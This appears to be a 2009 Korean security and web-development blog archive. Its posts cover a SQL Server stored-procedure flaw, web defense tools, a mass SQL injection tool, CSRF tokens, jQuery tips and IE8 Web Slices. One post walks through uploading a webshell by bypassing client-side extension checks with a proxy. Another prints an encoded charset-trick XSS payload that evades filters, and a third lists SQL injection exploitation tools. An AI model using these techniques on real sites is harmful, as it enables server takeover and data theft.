아참! 'sp_replwritetovarbin' 확장 저장 프로시저의 권한을 설정하는 방법은 아래 링크를 참고해 주세요. 제가 굳이 스샷을 찍지 않아도 되겠네요. 잘 정리 되어 있습니다. 물론 영문입니다. 하지만 그림 파일만 보신다면… 후후~ -_-…

http://blogs.technet.com/swi/archive/2008/12/22/more-information-about-the-sql-stored-procedure-vulnerability.aspx

'sp_replwritetovarbin' 확장 저장 프로시저에 대한 퍼블릭 권한을 제거하였을 경우, 대부분 별문제 없으나 업데이트 가능한 구독 설정을 가진 트랜잭션 복제를 사용할 때 문제가 생긴다고 합니다. '구독' 그리고 '트랜잭션 복제' 라고 하니 SQL 서버 두 대를 가지고 트랜젝션 로그 배포 서버와 구독 서버를 설정했던 기억이 어렴풋이 나네요.

일단 일반 SQL 유저 계정으로는 액세스가 불가능 함을 확인하였습니다. 문제는 웹소스에서 DB서버를 액세스 할 때 SA 계정을 사용하는 웹사이트들 입니다. 시한폭탄을 안고 있는 거지요.

2009/08/27 11:06 2009/08/27 11:06
한국정보보호진흥원(KISA, http://www.kisa.or.kr)에서 웹해킹방어도구인 'CASTLE'을 공식 발표 및 배포하기 시작했습니다.

현재 인터넷침해사고대응지원센터(KRCERT, http://www.krcert.or.kr) 웹사이트의 공지사항 쪽을 통해 배포되고 있는데 ASP, PHP, JSP 등 각 프로그래밍언어 별로 분류되어 별도의 설치 패키지가 제공되고 있으며 물론 친절한 설치 가이드와 사용자 설명서 그리고 간단한 FAQ는 기본적으로 함께 제공되고 있습니다.

사용자 삽입 이미지
 

# 어디서 많이 뵌 분 같은데…-_-;;

위의 그림과 같이 CASTLE의 기본 인터페이스는 흡사 제로보드를 연상케 합니다. 그래서 그런지 왠지 모르게 친숙한 느낌도 들고 -_-; 무엇보다 사용자 설명서만 충분히 탐독하면 실제 사용 방법을 터득하는데까지 그리 오랜 시간이 걸리지 않습니다. 즉, 초심자도 쉽게 적용할 수 있다는 말씀입니다.

기본 구동 방법 역시 제로보드나 기타 설치형 솔루션과 크게 다르지 않습니다. 웹사이트 상에서 매번 불러와지는(include) 헤더 파일에 CASTLE 동작 소스만 삽입해 주면 그걸로 더이상 사용자가 웹소스를 손 볼 일은 없습니다.

단, ASP 용 CASTLE의 경우, 서버에 capicom.dll 파일이 미리 등록되어 있어야지만 CASTLE이 정상 작동합니다. 직접 서버를 운영하고 있는 경우라면 크게 문제되지 않겠습니다만, 웹호스팅 서비스 등 타인이 관리하고 있는 서버의 일정 공간을 임대하여 사용하고 있다면 관리자 또는 관리 업체가 지원해 주지 않는 이상 아쉽게도 사용할 수 있는 방법이 없겠습니다…

앞으로 조금 더 지켜봐야겠지만요. 웹나이트와 CASTLE의 조합으로 웹 해킹 방어율이 한층 상승했음에는 이의가 없습니다.

2009/08/27 11:04 2009/08/27 11:04


최근 국내외 웹사이트들을 또 다시 괴롭히고 있는 Mass SQL 인젝션. 여타 Mass SQL 인젝션과는 달리 쿠키의 취약점을 악용하는 관계로 로그가 자세히 남지 않기 때문에 영문도 모른 채 속수무책으로 당하고 있는 웹사이트들이 많은 것으로 알고 있다.

현재 이 Mass SQL 인젝션 툴은 중국 내에서 상용으로 판매되고 있다고 한다. 아래는 이 Mass SQL 인젝션 툴을 판매하기 위한 목적으로 웹 상에 공개된 데모 시연 영상이다.

http://goomoo.s122.288idc.com/liah/demo/repeaterCookie.htm

화가 나더라도 끝까지 참고, 감상하시면 많은 참고가 되시리라 생각된다. 데모 시연 영상 중에서도 실제 Mass SQL 인젝션 시 웹 서버에서 주입되는 코드들과 그 과정을 유념해서 보시길…

 SWF 파일 다운로드 받기


ps2. 경로가 언제 짤릴지 모르는 관계로 SWF 파일만 따로 다운로드 제공합니다.

ps1. 아무튼 얘네들은 인터넷에서 격리시켜야 되는 거 아닌가… 암적인 존재들…

2009/08/27 11:00 2009/08/27 11:00

파일 업로드 취약점 이용하여 웹셀을 삽입해,제어권을 가져오는 방법에 대해 소개 하겠습니다.

 

Fileupload 취약점 이용하여 공격하기 (Webshell)

 

1. 일반 계저정으로 로그인후 게시판에 접근합니다.

2. 홈페이지 게시판에 웹셀을 업로드하여 삽입합니다.

   서버측에서 방어를 위해 확장자 검증을 한다면, 우회하여 업로드 하도록 합니다.

   *웹서버는 확장자별 실행유무를 주기 때문에 php, asp와 같은 웹 서버용 파일은 업로드를 Java를 통해 막고 있습니다.

로컬 프록시를 통해 php, asp와 같은 웹 서버용 파일 업로드 우회하기
 
paros를 통해 확장자를 기존 txt라고 하여 업로드할때 response 체크로 보내는 데이터를 잡습니다.
 그리고 실제 서버측에 보낼때에는 확장자를 잡은 데이터를 php로 다시 send를 눌려 업로드 합니다.

  *자바 스크립트나 입력값 제한으로는 클라이언트 검사이기 때문에 로컬프록시로 우회가 가능합니다.

 webshell1.png

 

3. 웹셀을 실행해여 서버의 중요 파일 및 권한을 획득하면 됩니다.

webshell2.png 


Fileupload 취약점 방어하기 (Webshell)

1. 게시판에 자바 스크립트를 실행할수 없도록 합니다. (스크립트 태그를 단순 문자로 인식하도록 구성) 

2. 파일 업로드 종류를 제한하고 제한 검사를 클라이언트가 아닌 서버에서 하도록 합니다.

문서  :




웹쉘 프로그램


Cod3rZshell (PHP 웹쉘) 소스보기->




webshell3.png

r57shell 1.24 (PHP 웹쉘) 소스보기->



webshell2.png

출처 : http://itka.kr

2009/08/26 19:23 2009/08/26 19:23

원문 출처 : http://proglamor.tistory.com/category/Security/CSRF

CSRF 처리 관련 ASP 함수 이다.
CSRF 처리 방법은 의외로 간단하게 처리할 수 있다.
입력폼에서 특정 문자조합의 토큰을 생성하여, 세션에 저장하며, 이를 처리 페이지로 넘겨준다.
넘겨받은 토큰과 세션을 비교하여 동일할때만 로직을 수행하게 하면 된다.


## 함수
function CSRP_TokenCreate()
   set_KeyTable = "A0N1B2A3C4N5D6U7E8M9F0LGOHTITJOKLMNOPQRSTUVWXYZ"
   set_Token = ""
   randomize
   for cnt = 1 to 20
      get_KeyPos = int((49 - 1 + 1) * Rnd + 1)
      set_Token = set_Token & mid(set_KeyTable, get_KeyPos, 1)
   next
   session("CSRP_Token") = set_Token
   CSRP_TokenCreate = set_Token
end function

function CSRP_TokenConfirm( get_Token )
   if session("CSRP_Token") = get_Token then
      CSRP_TokenConfirm = True
   else
      CSRP_TokenConfirm = False
   end if
end function


## From.ASP
<%
get_Token = CSRP_TokenCreate()
%>
<form name="input_form" action="Proc.ASP">
<input type="hidden" name="Token" value="<%=get_Token%>">
</form>


## Proc.ASP
<%
req_Token = request("Token")
if not CSRP_TokenConfirm(req_Token) then
   response.write "잘못된 접근 입니다."
   response.end
end if
%>

2009/08/26 19:16 2009/08/26 19:16
HTML 출력에 들어가는 Content-Type의 charset을 변조함으로써, XSS 공격에 사용되는 문자열이 XSS차단필터에 의해서 걸리지 않도록 하는 검사회피기술이다.

예를 들어서, 원래의 XSS 공격 문자열이 <script>alert("XSS")</script> 라고 하자. 그런데, XSS차단필터가 <script>와 같은 문자열을 차단하기 때문에, 이 공격은 성공할 수 없다.

그런데, 만약 서버의 응답 HTML의 Content-Type 선언에서 charset을 변경시킬 수 있다면, 이 XSS차단필터를 통과할 수 있다.

예를 들어, 아래와 같은 문자열은 XSS차단필터에서 보면, 전혀 의미가 없는 문자열일 뿐이다.
%A2%BE%BCscript%BEalert(%A2XSS%A2)%BC/script%BE

그렇지만, 위의 문자열을 US-ASCII charset으로 디코딩을 하면 전혀 얘기가 달라진다. US-ASCII는 7비트만을 사용하기 때문에, 위의 의미없어 보이는 문자열은 다시 원래의 XSS공격 문자열로 디코딩되어 사용자의 브라우저에서 실행될 수 있다.

이렇게 되는 과정을 조금만 더 살펴보자.
위의 문자 중에서 %BC를 2진수로 풀어보면, 10111100 이다. 그런데, US-ASCII에서 7비트만을 사용하므로, 최상위 1비트를 무시하면, %BC는 00111100으로 해석되고 이것은 >문자가 되는 것이다.

이 공격 방법은 현재 Internet Explorer에서 동작하는 것으로 확인이 된다. 그리고 서버의 응답에서 Content-Type 선언의 charset을 변경시킬 수 있어야만 한다.

이 공격 방법이 포스팅된 블로그의 실제 예제를 한번 살펴보자.

링크는 별 문제없고, 코드도 실행되지 않는다.

그런데, 이 링크에서 charset을 UTF-8에서 US-ASCII로 변경하게 되면 다른 결과를 보여준다. 소스보기를 해보면, Content-Type선언의 charset이 US-ASCII로 설정된 것을 볼 수 있다.

<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">

2009/08/26 19:13 2009/08/26 19:13


1. SQLIer -
취약점이 있는 URL을 검사하고 사용자의 개입없이 SQL Injection 취약점을 익스플로잇하기 위해 필요한 정보를 점검합니다. 다운로드

2. SQLbftools -
블라인드 SQL Injection 공격을 사용하여 MySQL의 정보를 가져오는 시도를 하는 도구의 모음입니다. 다운로드

3. SQL Injection Brute-forcer - SQL Injection
공격 취약점을 찾고 이를 이용하여 공격하는 자동화 도구입니다. 사용자가 작업하는 내용을 볼 수 있으며, 블라인드 SQL 인젝션을 이용합니다. 다운로드

5. SQL Brute -
블라인드 SQL 인젝션 취약점을 사용하여 데이터베이스에서 데이터를 추출해내는 무작위 도구입니다. MS SQL 서버의 시간, 오류 기반으로 익스플로잇을 수행합니다. 오라클의 경우 오류를 기반으로 합니다. 이 프로그램은 Python으로 작성되었으며 멀티 스레드로 동작하며 표준 라이브러리를 사용합니다. 다운로드

5. BobCat - SQL Injection
취약점의 잇점을 이용하는 감사 도구입니다. 사용자가 사용하는 애플리케이션이 액세스하는 테이블에서 데이터를 가져올 수 있습니다. 다운로드

6. SQLMap -
블라인드 SQL Injection을 자동으로 수행하는 도구로 phthon으로 개발되었다. 다운로드

7. Absinthe - GUI
기반의 도구로 블라인드 SQL Injection 취약점에 이용하여 데이터베이스의 스키마와 목록을 자동화 과정으로 다운로드합니다. 다운로드

8. SQL Injection Pen-testing Tool -
웹 애플리케이션에서의 취약점을 찾아 데이터베이스를 점검하도록 설계된 GUI 기반의 도구. 다운로드

9. SQID - SQL Injection Digger.
웹 사이트의 통상적인 오류와 SQL Injection을 찾는 명령행 기반의 도구. 웹 페이지에서 SQL Injection 이 가능한 부분을 찾아내어 취약점을 입력하는 폼을 테스트한다. 다운로드

10. Blind SQL Injection Perl Tool - bsqlbf
SQL Injection에 취햑한 웹 사이트에서 정보를 가져오도록 작성된 펄 스크립트. 다운로드

11. SQL Power Injection Injector -
이 프로그램은 웹페이지에서 SQL 명령어를 삽입하는 테스트를 수행합니다. 멀티 스레드 방식으로 블라인드 SQL Injection 공격을 자동화하여 실행합니다. 다운로드 

12. FJ-Injector Framework -
웹 애플리케이션에 SQL Injection 취약점이 있는지 검사하기 위해 디자인된 오픈 소스 무료 프로그램입니다. HTTP 요청을 가로쳐서 변경하기 위한 프록시 기능도 제공합니다. SQL Injection 익스플로잇을 자동화하여 수행합니다. 다운로드

13. SQLNinja - MS SQL
서버를 백 엔드 데이터베이스로 사용하는 웹 애플리케이션의 SQL Injection 취약점을 익스플로잇하는 도구입니다. 다운로드

14. Automatic SQL Injector - SQLNinja
와 유사한 도구로, 오류 코드가 반환되는 SQL Injection 취약점을 자동으로 찾아 줍니다. 다운로드

15. NGSS SQL Injector -
데이터베이스에 저장된 데이터를 액세스하기 위한 SQL Injection취약점을 이용하여 익스플로잇합니다. Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase 등 다양한 데이터베이스를 지원합니다. 다운로드

2009/08/26 19:08 2009/08/26 19:08
강력한 jQuery Selector.
javascript 의 원래 문법에 비해 너무도 강력한 css style 의 selecting 을 지원한다.
하지만 css 엔진을 이용하는 것이 아니고,
원래의 javascript 접근방식으로 재해석하여 동작하는 것이므로,
jQuery 가 어떻게 selecting 해 올지 예상하는것이 필요하다.
그렇지 않으면 모든 dom 객체를 수십번 훑는 막장 코드가 나올지도 모른다.

일단 js 에서 dom 객체를 선택하는 방법을 생각해 보자.

document.name
getElementById()
getElementsByName()
getElementsByTagName()
getElementsByClassName()

getElementsByClassName() 의 경우 최신의 몇몇 브라우저에서만 지원된다.

때문에, $('.class') 로 selecting 한다면
대부분의 브라우저에서는 getElementsByTagName('*') 을 실행하고야 말 것이다.

getElementsByTagName() 의 경우 document 만이 아니고,
모든 dom 객체에 정의되어 있다는 점도 중요하다.

또 중요한 것은 getElementsByAttribute() 라는 것은 없다는 것이다.


/* hasClass() 는 className 이 맞는지 검사하는 임의의 함수라 생각하자.
== 로는 안되므로 조금 복잡한 비교가 필요하다. */

1) 목표물이 모여있다면, 상위 block 에 id 를 주고 $('#yourblock .class') 로 접근한다.
예상) var yourblock = document.getElementById('yourblock');
var tags = yourblock.getElementsByTagName('*');
var classes = [];
for(i = 0; i < tags.length; i ++) {
if(hasClass(tags.className, 'class')) classes.push(tags[i]);
}
- 아직 많이 복잡해 보인다.

2) 한 종류의 태그라면 태그명을 표기해 주는것이 좋다. $('#yourblock a.class')
예상) var yourblock = document.getElementById('yourblock');
var tags = yourblock.getElementsByTagName('A');
var classes = [];
for(i = 0; i < tags.length; i ++) {
if(hasClass(tags[i].className, 'class')) classes.push(tags[i]);
}
- 별 차이가 없지만 * 이 A 가 되어 많이 줄어들었다.

3) 여기저기 흩어져 있다면, 차라리 name 을 줄 수 있는 a 태그 같은것을 이용한다.
getElementsByName() 은 모든 브라우저에 있고,
href 속성을 주지 않으면 a 로써의 특징적인 link 로써의 기능이 활성되지 않으므로 쓸만하다.
$('a[name=class]')
예상) var names = document.getElementsByName('class');
var aclass = [];
for(i = 0; i < names.length; i ++) {
if(names[i].tagName == 'A') aclass.push(names[i]);
}

4) 찾고자 하는것이 하나이면 더 이상 찾지 않도록 수량을 지정해 준다.
$('#id div.block:first a:first')
$('#id ul.block > li') #ul li ul li 같은 다중 ul li 처럼 깊은곳의 li 를 제외하기 위해 .class 를 주는 것 보다는 > 지시자로 깊이를 확정해 버리는 것이 좋다.
/* MySQL 도 unique 한 자료를 select 할 때에 limit 1 을 주면 더 빠르다. */

5) 굳이 jQuery 가 필요하지 않은 경우를 구분한다.
form id="frm" onsubmit="return ajaXing(this);"
function ajaXing(frm) {
이라면,
frm.name.value 로 접근이 되므로, 굳이 jQuery 로 다시 selecting 할 필요가 없다.
$() 에는 select query 만이 아니고, dom 객체도 직접 넣을 수 있으므로,
$(frm.name) 으로 이용할 수도 있다.



-- 상위의 this 접근
$('#id').each(function() {
$('input[name="chk[]"]).each(function() {

#id 가 form 이라면 여기서 그냥 this.form 으로 접근하면 될 것이다.
하지만 form 이 아니라면 상위의 this 로 접근하기가 곤란하다.

$('#id').each(function() {
var $$ = this;
$('input[name="chk[]"]).each(function() {

이제 상위의 this 는 $$ 로 접근할 수 있게 되었다.



-- var obj = $('#id');
jQuery 객체를 변수에 담아두면,
selecting 을 다시 하지 않으므로 재사용시 속도에 이득이 있다.
하지만, dom 객체를 감싸버렸기 때문에 원래 객체로의 접근성이 떨어지게 된다.
var obj = document.getElementById('test');
obj.testArr = document.getElementsByName('test');
라고 할 때
$(obj) 에서 testArr 를 직접 접근할 방법이 없다.
$(obj).each(function() {
this.testArr
이렇게 해야 한다.
때문에, 상황에 따라 적절한 선택이 필요하다.

http://docs.jquery.com/Selectors
2009/08/26 17:58 2009/08/26 17:58
일단 웹조각이 뭔지 아셔야 할것 같군요. 뭐 대부분 사람들은 아시겠지만 노파심에 한번 적어 봅니다.

출처 - 마소
웹 조각은 사용자가 가입할 수 있는 웹 페이지의 특정 부분으로 즐겨찾기 웹 사이트에서 업데이트된 콘텐츠—현재 온도 또는 경매 가격 변경과 같은 콘텐츠—를 사용할 수 있을 경우 사용자가 이를 볼 수 있도록 합니다. 웹 조각에 가입하면 즐겨찾기 모음에 링크로 표시됩니다. 웹 조각이 업데이트되면 즐겨찾기 모음에 있는 링크가 굵은 글꼴 형식으로 표시됩니다. 그런 다음 링크를 클릭하여 업데이트된 콘텐츠를 볼 수 있습니다.



1.<div class="hslice" id="notice">
2.  <div class="entry-title" style="display:none">제목</div>
3.  <div class="entry-content">내용</div>
4.</div>

일반적으로 위와 같이 하면 되더군요.

사이트를 찾아 보니깐  대부분 id="notice" 라는 부분이 빠져 있더군요.. 처음에 그부분을 빼고 했는데 계속 웹조각이 활성화가 안되더군요. 혹시나 하는 마음에 id 부분을 넣어보니 되더군요.

그리고 노파심에 말씀 드리는 데  class="entry-title"  에 style display none 가 들어가 있는데 그부분은 디자인에서 빼기 위해서 넣어 두는게 좋을 듯합니다. 뭐 디자인 하시겠다면 보이게 하셔도 되고요.

위와 같이 해 놓으면 IE 8 에서 웹조각창이 활성화 됩니다.

시험삼아 참조 url 의 홈 하단의 news & notice 라는 부분에 한번 넣어 봤습니다.
2009/08/26 17:55 2009/08/26 17:55